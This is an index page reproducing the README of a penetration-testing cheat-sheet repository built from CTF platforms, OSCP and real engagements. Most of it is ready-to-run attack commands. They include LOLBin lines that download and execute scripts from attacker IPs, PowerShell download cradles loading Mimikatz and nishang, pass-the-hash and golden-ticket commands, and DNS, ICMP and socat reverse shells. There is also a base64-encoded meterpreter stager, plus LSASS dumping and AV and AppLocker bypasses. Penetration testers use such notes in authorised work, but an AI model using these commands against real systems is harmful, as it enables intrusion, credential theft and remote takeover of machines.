Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/adon90/pentest_compilation

Compilation of commands, tips and scripts that helped me throughout Vulnhub, Hackthebox, OSCP and real scenarios
https://github.com/adon90/pentest_compilation

Last synced: 12 days ago
JSON representation

Compilation of commands, tips and scripts that helped me throughout Vulnhub, Hackthebox, OSCP and real scenarios

Awesome Lists containing this project

README

        

Table of Contents

- [Enumeration](#enumeration)
* [Generic Enumeration](#genumeration)
* [HTTP Enumeration](#httpenumeration)
* [SSH Enumeration](#sshenumeration)
* [SMB Enumeraion](#smbenumeration)
* [SNMP Enumeration](#snmpenumeration)
- [Explotation](#explotation)
* [BOF Based Exploits](#bof)
* [Weak Credentials](#weakcreds)
* [HTTP Bruteforce](#httpbrute)
* [Password Cracking](#passcrack)
* [RCE](#rce)
* [PHP RCE](#phprce)
* [RCE via webshell](#rcewebshell)
* [RCE WMIC (powershellless)](#rcewmic)
* [LOLBins](#lolbins)
- [Privilege Escalation](#privesc)
* [Linux](#linux)
* [Windows](#windows)
* [Kernel Exploits](#kernel)
- [Tunneling & Port Forwarding](#tunneling)
* [SSH over TCP](#sshovertcp)
* [TCP over HTTP](#tcpoverhttp)
* [1. reGeorg](#regeorg)
* [2. ABPTTS](#abptts)
* [HTTP Redirectors](#httpredirectors)
* [1. socat](#socatred)
* [2. iptables](#iptablesred)
* [Windows Socks Proxy](#windowsocks)
* [Man's poor VPN](#poor)
- [Windows Active Directory](#windowsad)
* [Bypass Applocker](#applocker)
* [Pass The Hash](#pth)
* [Kerberos](#krb)
* [Miscellaneous](#miscwin)
- [Reverse Shells](#revshells)
* [DNS with dnscat2](#dns)
* [ICMP](#icmp)
* [HTTP through proxy](#httpproxy)
- [Miscellaneous](#misc)
* [Interactive Reverse Shell](#interactiveshell)
* [rbash Jail Escape](#jailescape)
* [Windows File Transfer](#windowstransfer)
* [Bypass VPN routing restrictions](#vpnrestrict)
* [AV Bypass](#avbypass)





---

Enumeration

Generic Enumeration

- port fullscan

- UDP scan

HTTP Enumeration

- dirsearch big.txt -e sh,txt,htm,php,cgi,html,pl,bak,old

- banner inspection

- review source code

- bruteforce with cewl-based dictionary

- searchsploit look at versions properly

- test all the paths with the exploits, mangle it

- nmap --script vuln

- nmap --script safe (ssl-cert, virtual hosts)

- always incercept with Burp

- nikto -h

- LFI, RFI, SQL, RCE, XXE, SSRF injections

- PUT method all directories

- Change POST body encoding with Burp

- Bruteforce parameter names

- dirsearch with cookie once authenticated

- download vulnerable application from exploit-db and examine it

SSH Enumeration

- shellshock

- bruteforce

- user_enum

- Debian OpenSSL Predictable PRNG

SMB Enumeration

- nmap --script vuln

- nmap --script smb*

- nmap --script smb-enum-shares,smb-ls

- enum4linux

SNMP Enumeration

- snmpcheck

- snmpenum

Explotation

BOF exploit-based

- change shellcode

- make sure all badchars are removed

- read the exploit properly in case this makes changes in the shellcode

- capture traffic with wireshark making sure the entire shellcode is transmited

- run the exploit several times

- make sure the JMP ESP matches OS and language

Weak Credentials

HTTP Brute Force

- wfuzz POST

```wfuzz --hc 404 -c -z list,admin -z file,/root/Documents/SecLists/Passwords/korelogic-password.txt -d "user=FUZZ&password=FUZ2Z" http://192.168.30.161/admin/index.php```

- hydra POST

```hydra 192.168.30.161 -s 80 http-form-post "/admin/index.php:user=^USER^&password=^PASS^:Moved Temporarily" -l admin -P /root/Documents/SecLists/Passwords/korelogic-password.txt -t 20```

- wfuzz NTLM

```wfuzz -c --ntlm "admin:FUZZ" -z file,/root/Documents/SecLists/Passwords/darkc0de.txt --hc 401 https:///api```

- wfuzz Basic Auth through Proxy

```wfuzz -c --hc 404,400,401 -z file,/root/Documents/Audits/Activos/names.txt -z file,/root/Documents/Audits/Activos/names.txt --basic "FUZZ:FUZ2Z" -p 127.0.0.1:8080 https:///api/v1/```

Password Cracking

- zip

`fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt file.zip `

- /etc/shadow


unshadow passwd shadow > passwords
john --wordlist=/usr/share/wordlists/rockyou.txt passwords

- keepass


keepass2john /root/Desktop/NewDatabase.kdb > file
john -incremental:alpha -format=keepass file

- Bruteforce Salted


for j in $(cat cipher); do echo $j; for i in $(cat digestion); do /root/Documents/HTB/Hawk/bruteforce-salted-openssl/bruteforce-salted-openssl -t 10 -f /usr/share/wordlists/rockyou.txt -c $j -d $i ../miau.txt -1 2>&1 | grep "candidate" ; done ; done

openssl aes-256-cbc -d -in ../miau.txt -out result.txt -k friends

RCE

PHP RCE

test:

``````

simple shell:

``````

``````

file upload:

```'); ?>```

file upload evasion: rot13 + urlencode

``````

RCE via webshell

- All pentest monkey reverse shells: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

- msfvenom x86/linux/shell_reverse_tcp -f elf

- Metasploit `web_delivery` module

- which wget | nc

RCE via WMIC

Powershell without powershell:

Generate payload with web_delivery

![powershellless1](https://user-images.githubusercontent.com/7115563/40374533-8da00e10-5de9-11e8-888e-3b1eaccb28b0.png)

Encode Payload

![powershellless2](https://user-images.githubusercontent.com/7115563/40374540-908e0ca8-5de9-11e8-9002-5f03193b10a5.png)

Include payload in xsl file

![powershellless3](https://user-images.githubusercontent.com/7115563/40374546-92dcda84-5de9-11e8-99c8-9066ae129644.png)

wmic process get brief /format:"https://raw.githubusercontent.com/adon90/pentest_compilation/master/nops.xsl"

![powershellless4](https://user-images.githubusercontent.com/7115563/40375266-73770028-5deb-11e8-92da-952692727bec.png)

LOLBINS

SyncAppvPublishingServer

SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://192.168.48.129:8000/reverse.ps1') | IEX"

![lolbin1](https://user-images.githubusercontent.com/7115563/40776727-ee904d00-64cb-11e8-8921-407581b13edf.png)

rundll32

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("regsvr32 /s /n /u /i:http://192.168.48.130:8080/bhRxgASz0.sct scrobj.dll")

Privilege Escalation

Linux Privilege Escalation

- sudo -l
- Kernel Exploits
- OS Exploits
- Password reuse (mysql, .bash_history, 000-default.conf...)
- Known binaries with suid flag and interactive (nmap)
- Custom binaries with suid flag either using other binaries or with command execution
- Writable files owned by root that get executed (cronjobs)
- MySQL as root
- Vulnerable services (chkrootkit, logrotate)
- Writable /etc/passwd
- Readable .bash_history
- SSH private key
- Listening ports on localhost
- /etc/fstab
- /etc/exports
- /var/mail
- Process as other user (root) executing something you have permissions to modify
- SSH public key + Predictable PRNG
- apt update hooking (Pre-Invoke)
- Capabilities

Windows Privilege Escalation

- Kernel Exploits
- OS Exploits
- Pass The Hash
- Password reuse
- DLL hijacking (Path)
- Vulnerable services
- Writable services binaries path
- Unquoted services
- Listening ports on localhost
- Registry keys

Kernel Exploits

Linux: https://github.com/lucyoa/kernel-exploits

Windows: https://github.com/abatchy17/WindowsExploits

Tunneling & Port Forwarding

SSH over HTTP (Squid)

socat

socat TCP-L:9999,fork,reuseaddr PROXY:192.168.1.41:127.0.0.1:22,proxyport=3128

ssh [email protected] -p 9999

proxytunnel

proxytunnel -p 192.168.1.41:3128 -d 127.0.0.1:22 -a 5555

ssh [email protected] -p 5555

proxychains

http 192.168.1.41 3128

proxychains ssh [email protected]

![proxychains](https://user-images.githubusercontent.com/7115563/33822522-1e15dbee-de58-11e7-9953-3da8ff684cfc.png)

corkscrew

ssh [email protected] -t /bin/sh

![cork](https://user-images.githubusercontent.com/7115563/33822672-b92a51f0-de58-11e7-9936-06056b7903b8.png)

TCP over HTTP

For this technique, it is necessary to be able to upload a file to a webserver.

1. reGeorg

File upload to the server correct

![regeorge2](https://user-images.githubusercontent.com/7115563/33883424-028c9f0e-df3c-11e7-9559-b35667ae76db.png)

Tunnel creation

`python reGeorgSocksProxy.py -p 5555 -u "http:///admin/uploads/reGeorg.jsp"`

Proxychains config

![regeorge1](https://user-images.githubusercontent.com/7115563/33883419-fcc15416-df3b-11e7-89a9-499ffc1de9cf.png)


proxychains nmap -F -sT 127.0.0.1
proxychains mysql -u root -p -h 127.0.0.1
proxychains ssh localhost

![regeorge3](https://user-images.githubusercontent.com/7115563/33883422-017021fe-df3c-11e7-8f99-f02de5084c02.png)

Reference: https://sensepost.com/discover/tools/reGeorg/

2. ABBTTS

Upload File

![abbtts5](https://user-images.githubusercontent.com/7115563/33883774-6d249ffa-df3d-11e7-9f3f-68bf1e70465f.png)

Config proxychains and create the tunnel

```python abpttsclient.py -c tomcat_walkthrough/config.txt -u http://192.168.1.128/abptts.jsp -f 127.0.0.1:22222/127.0.0.1:22```

Usage

```ssh -p 22222 [email protected]```

![abbtts7](https://user-images.githubusercontent.com/7115563/33883891-dc2f3c70-df3d-11e7-84e9-ebd9eab9ebee.png)

Reference: https://github.com/nccgroup/ABPTTS

HTTP Redirectors

1. socat

socat TCP4-LISTEN:80,fork TCP4:REMOTE-HOST-IP-ADDRESS:80

![socatt](https://user-images.githubusercontent.com/7115563/42031184-a8b3deee-7ad5-11e8-96ae-9b38bfe82df2.png)

2. iptables

iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination REMOTEADDR:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

![iptables](https://user-images.githubusercontent.com/7115563/41294963-97cc925c-6e59-11e8-8adf-8db85f6ffaf2.png)

Windows Socks Proxy

In this case this is going to be used to access Burp listening on a Windows NATed VM from other PCs in the same network as the Windows Host.

From the Windows Host machine (IP: 192.168.1.206)


Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1234

![invokesocks](https://user-images.githubusercontent.com/7115563/49870467-b63bb480-fe13-11e8-807d-8422e5837b58.png)

From other PC on the Windows Host machine network (IP: 192.168.1.69)

Configure `proxychains.conf`:

 socks4 	192.168.1.206 1234 

proxychains socat TCP-LISTEN:8081,fork,reuseaddr TCP:192.168.48.158:8080

This command ahead makes Burp (which is listening on the NATed machine) accessible from 192.168.1.69 on port 8081

Now, configure the Proxy in the browser:

![proxyconf](https://user-images.githubusercontent.com/7115563/49870450-aae88900-fe13-11e8-8c95-4208f20cd8ec.png)

All the traffic is logged on the NATed machine Burp.

Reference: https://github.com/p3nt4/Invoke-SocksProxy

Chisel

Attacker



./chisel_1.7.1_linux_amd64 server -p 8000 --reverse



Victim



.\chisel.exe client 37.187.112.19:8000 R:socks



Attacker



proxychains nmap -sT --top-ports --open 10 127.0.0.1



![chisel](https://user-images.githubusercontent.com/7115563/127473605-6158c455-6d43-4e88-876c-d91422771bd6.png)


References: https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html

Man's Poor VPN

Traffic forward over SSH without needing to ```ssh -D ```

sshuttle -vr [email protected] 1X0.1X.0.0/16

![sshuttle](https://user-images.githubusercontent.com/7115563/42047219-02a13b70-7b00-11e8-9686-8bf2f44bee81.png)

Proof:

![mantis2](https://user-images.githubusercontent.com/7115563/34785499-a0e7d838-f631-11e7-869f-d6fcdc1051e9.png)

Reference: http://teohm.com/blog/using-sshuttle-in-daily-work/

Windows AD Environment

Bypass Applocker

1. rundll32

```rundll32.exe PowerShdll.dll,main```

![applocker](https://user-images.githubusercontent.com/7115563/34455568-dfe7d7c6-ed81-11e7-9869-de2d4e92f3aa.png)

Reference: https://github.com/p3nt4/PowerShdll

2. Alternative powershell files

![applocker2](https://user-images.githubusercontent.com/7115563/34455569-e0136c6a-ed81-11e7-9b0e-127ae9d395e0.png)

```C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise```


Pass The Hash




Invoke a command Remotely

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1')


Invoke-WMIExec -Target SVHOST2 -Username Administrator -Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "powershell whoami | out-file \\SVHOST2\C$\windows\bitch.txt"

Invoke Mimikatz Remotely

Invoke-WMIExec -Target SVHOST2  -Username Administrator

-Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "powershell -Enc SQBFA...AoA"

![image](https://user-images.githubusercontent.com/7115563/34455757-1f6aed1c-ed86-11e7-9415-595fa5e8d6e7.png)

Pass The Hash with Mimikatz

 Invoke-Mimikatz -Command '"sekurlsa::pth /user:adm_maint /ntlm:cbe55f143fcb6d4687583af520123b89 /domain:lazuli"'



Kerberos




Generate Golden Ticket (Domain Admin Required)

Invoke-Mimikatz -Command '"lsadump::dcsync /domain:LAZULI.CORP /user:krbtgt"'


![image](https://user-images.githubusercontent.com/7115563/34455725-7230ee30-ed85-11e7-9333-16372355ce60.png)

![image](https://user-images.githubusercontent.com/7115563/34455734-89934d5c-ed85-11e7-960e-9659e099c9df.png)

Invoke-Mimikatz  -Command '"kerberos::golden /user:adon /domain:LAZULI.CORP /krbtgt:ca1c2aeda9160094be9971bdc21c50aa /sid:S-1-5-21-1238634245-2147606590-2801756923 /id:500 /ticket:admin.kirbi /ptt"


![image](https://user-images.githubusercontent.com/7115563/34455745-9edd0360-ed85-11e7-84f0-6d62e621613b.png)

Invoke-Mimikatz  -Command '"kerberos::ptt admin.kirbi"'


![image](https://user-images.githubusercontent.com/7115563/34455747-b285372a-ed85-11e7-9374-c481108db77e.png)

![image](https://user-images.githubusercontent.com/7115563/34455748-bb0512c6-ed85-11e7-8d40-b6516cf8b0f3.png)

Miscellaneous



Invoke Mimikatz

IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz


Mimikatz C#

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /unsafe katz.cs

https://gist.github.com/caseysmithrc/87f6572547f633f13a8482a0c91fb7b7

In case compiler is outdated:

nuget install Microsoft.Net.Compilers


Runas Powershell

```Start-Process powershell.exe -Verb runas```
```Start-Process powershell.exe -Credential ```

View Shares With Permissions

powershell.exe -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Invoke-ShareFinder -CheckShareAccess"


![image](https://user-images.githubusercontent.com/7115563/34455620-34f292b4-ed83-11e7-92b0-3b8dd387146f.png)


View files that contain certain words recursively

 ls -Path \\SVHOST1.LAZULI.CORP\tmp$ -Include "*pass*","*

admin*","*secret*" -Recurse -ErrorAction SilentlyContinue

![image](https://user-images.githubusercontent.com/7115563/34455641-aa03adf4-ed83-11e7-8333-a69366714921.png)

View files which name contains certain words recursively

dir -Path \\SVHOST1.LAZULI.CORP -Include "*pass*","*admin*","*secret*" -Recurse -ErrorAction SilentlyContinue

![image](https://user-images.githubusercontent.com/7115563/34455649-dcc941ea-ed83-11e7-9428-a702f254e807.png)

Connect to MSSQL Database

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/michaellwest/PowerShell-Modules/master/CorpApps/Invoke-SqlCommand.ps1')

Invoke-SqlCommand -Server 172.11.14.89 -Database master -Username sa -Password -Query "exec sp_databases"

Port Scanning

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1')

Invoke-Portscan -Hosts [ip] -TopPorts 50



![image](https://user-images.githubusercontent.com/7115563/34455679-6e630230-ed84-11e7-995e-2eea1a6fc8dc.png)


View Domain Admins

 net groups /domain "Domain Admins"


![image](https://user-images.githubusercontent.com/7115563/34455690-9e648d78-ed84-11e7-9a84-9b335530a31e.png)

View Domain Controlers

nltest /dclist: 


![image](https://user-images.githubusercontent.com/7115563/34455698-d1504074-ed84-11e7-85ad-c4bb196c9d44.png)


Get Hashes

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

![image](https://user-images.githubusercontent.com/7115563/34455769-66cb31bc-ed86-11e7-846e-090647d8e32f.png)


Check Pass The Hash with multiple servers

$hosts = @("SVDC1.LAZULI.CORP","SVFILES.LAZULI.CORP","SVHOST1.LAZULI.CORP","SVHOST2.LAZULI.CORP","SVFILES2.LAZULI.CORP")

foreach ($h in $hosts){ Invoke-WMIExec -Target $h -Username Administrator -Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "hostname" -Verbose }

![image](https://user-images.githubusercontent.com/7115563/34455798-0bdc77ec-ed87-11e7-9504-6b9ec6fc2a8d.png)

Run web_delivery with other identity

 runas-cabesha-webdelivery -url [url_webdelivery] -user [url] -pass [pass] 

![cabesha](https://user-images.githubusercontent.com/7115563/42811084-e286eb5a-89b9-11e8-8ec8-b0b8c3980774.jpg)

References: https://www.hacklikeapornstar.com/

Reverse Shells

Reverse DNS Shell with dnscat powershell

Server

ruby dnscat2.rb -e open --no-cache tunnel.domain.com

Client

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain tunnel.domain.com -DNSServer 8.8.4.4 

![dns](https://user-images.githubusercontent.com/7115563/35040679-5a155bfa-fb82-11e7-98ec-ba015e3ad69c.png)

Reference: https://github.com/lukebaggett/dnscat2-powershell

Reverse ICMP shell

Server

 

sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py [IP atacante] [IP victima]

Client

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1'); Invoke-PowerShellIcmp -IPAddress [IP atacante]

![icmpreverseshell](https://user-images.githubusercontent.com/7115563/35213289-6ac51b00-ff5d-11e7-9b66-766af2aaf92e.png)

Native ICMP shell

 

powershell -nop -Command "$IP = '10.10.14.42';$client = New-Object System.Net.NetworkInformation.Ping;$options = New-Object System.Net.NetworkInformation.PingOptions;$options.DontFragment = $true;$client.send($IP, 1000, ([Text.Encoding]::ASCII).GetBytes('pie'), $options);while($true){$comms = $client.Send($IP, 1000, ([Text.Encoding]::ASCII).GetBytes(''), $options);if($comms.Buffer){ $cmd = ([Text.Encoding]::ASCII).GetString($comms.Buffer);$reply = (Invoke-Expression -Command $cmd | Out-String);$client.send($IP, 1000, ([Text.Encoding]::ASCII).GetBytes($reply), $options);}}"

Reference: https://esgeeks.com/icmpsh-shell-reverse-con-icmp/

Reverse HTTP Shell through Proxy

use payload/python/meterpreter/reverse_http

![proxy2](https://user-images.githubusercontent.com/7115563/33836652-3d9c9624-de8a-11e7-9869-e18c5a28ebd7.png)

```python -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnUHJveHlIYW5kbGVyJ10pCmhzPVtdCmhzLmFwcGVuZCh1bC5Qcm94eUhhbmRsZXIoeydodHRwJzonaHR0cDovLzE5Mi4xNjguMTA3LjIzMjo4MDgwJ30pKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cDovLzE3OC42Mi41OC4zNTo4MC9qOTkzQScpLnJlYWQoKSkK')))"```

Finally we set up the handler:

![proxy3](https://user-images.githubusercontent.com/7115563/33836552-fd3204ac-de89-11e7-940c-71c8ab321bf7.png)

Miscellaneous

Interactive Reverse Shell

Method 1

Attacker:

```socat file:`tty`,raw,echo=0 TCP-L:4444```

Victim:

```wget -q http://10.10.14.16/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.16:4444```

Socat Binary: https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

Method 2

In reverse shell


python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

In kali


echo $TERM
stty -a
stty raw -echo
fg

In reverse shell


reset
export SHELL=bash
export TERM=xterm-256color
stty rows columns
bash

rbash Jail Escape

RequestTTY no

ssh -o RequestTTY=no user@ip

![ttyno](https://user-images.githubusercontent.com/7115563/45673768-dec15480-bb2b-11e8-9d50-513c925b359b.png)

and the result would be:

![ttyfalse2](https://user-images.githubusercontent.com/7115563/45673773-e254db80-bb2b-11e8-911a-f0dec70936f4.png)

Bash --noprofile

ssh [email protected] -t "bash --noprofile" 

![bashnoprofile](https://user-images.githubusercontent.com/7115563/45673871-1defa580-bb2c-11e8-8004-c924ad0ddb56.png)

Windows File Transfer

bitsadmin

`bitsadmin /transfer debjob /download /priority normal http:///shell.php c:\xampp\htdocs\shell.php`

cscript wget.vbs (code on the repo)

`cscript wget.vbs http:///test.txt test.txt`

powershell

`powershell -c "(new-object System.Net.WebClient).Downloadfile('http:///exploit.exe', 'C:\Windows\temp\exploit.txt')"`

ftp

client:


echo open [ip] [port] > ftpscript.txt
echo anonymous>> ftpscript.txt
echo PASS >> ftpscript.txt
echo bin >> ftpscript.txt
echo get meter.exe>> ftpscript.txt
echo quit >> ftpscript.txt
ftp -s:ftpscript.txt

server:

python -m pyftpdlib --port=2121 --write

wget.exe

Upload to vulnerable server from kali: ` /usr/share/windows-binaries/wget.exe`

`wget.exe http:///file file`

certutil

`certutil -urlcache -split -f https:///file.txt file.txt`

Bypass VPN routing restrictions

openconnect vpnXXX02.XXXX.com -u XX -s ‘vpn-slice XXX.46.0.0/16 hostname3 mantis=XXX.41.2XX.68’

![vpn1](https://user-images.githubusercontent.com/7115563/41146909-30e484de-6b05-11e8-82fb-acfc17a722a2.png)

Reference: https://github.com/dlenski/vpn-slice

AV Bypass

Lsass Dump

certutil.exe -urlcache -f https://raw.githubusercontent.com/adon90/pentest_compilation/master/PostExplotation/mimi.vbs C:\Windows\temp\mimi.vbs

cscript mimi.vbs lsass.exe

pypykatz lsa minidump lsass.bin | tee -a dump1.txt

References: https://esmyl.medium.com/windows-memory-dump-cheat-sheet-23f32079304a

SharpSploit


Start-Process "powershell" "unblock-file .\SharpSploit.dll"

Add-Type -Path .\SharpSploit.dll

[SharpSploit.Execution.Shell]::ShellExecute("regsvr32 /s /n /u /i:http://192.168.48.151:9999/QuHBoZ.sct scrobj.dll")

![sharpsploit](https://user-images.githubusercontent.com/7115563/46204073-2c07a800-c31c-11e8-9905-76c168432018.png)

References: https://cobbr.io/SharpSploit.html

Workflow.Compiler

 C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml 

![workflow](https://user-images.githubusercontent.com/7115563/46660701-e79bc800-cbb7-11e8-8e07-49615b17d258.png)

References:

https://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb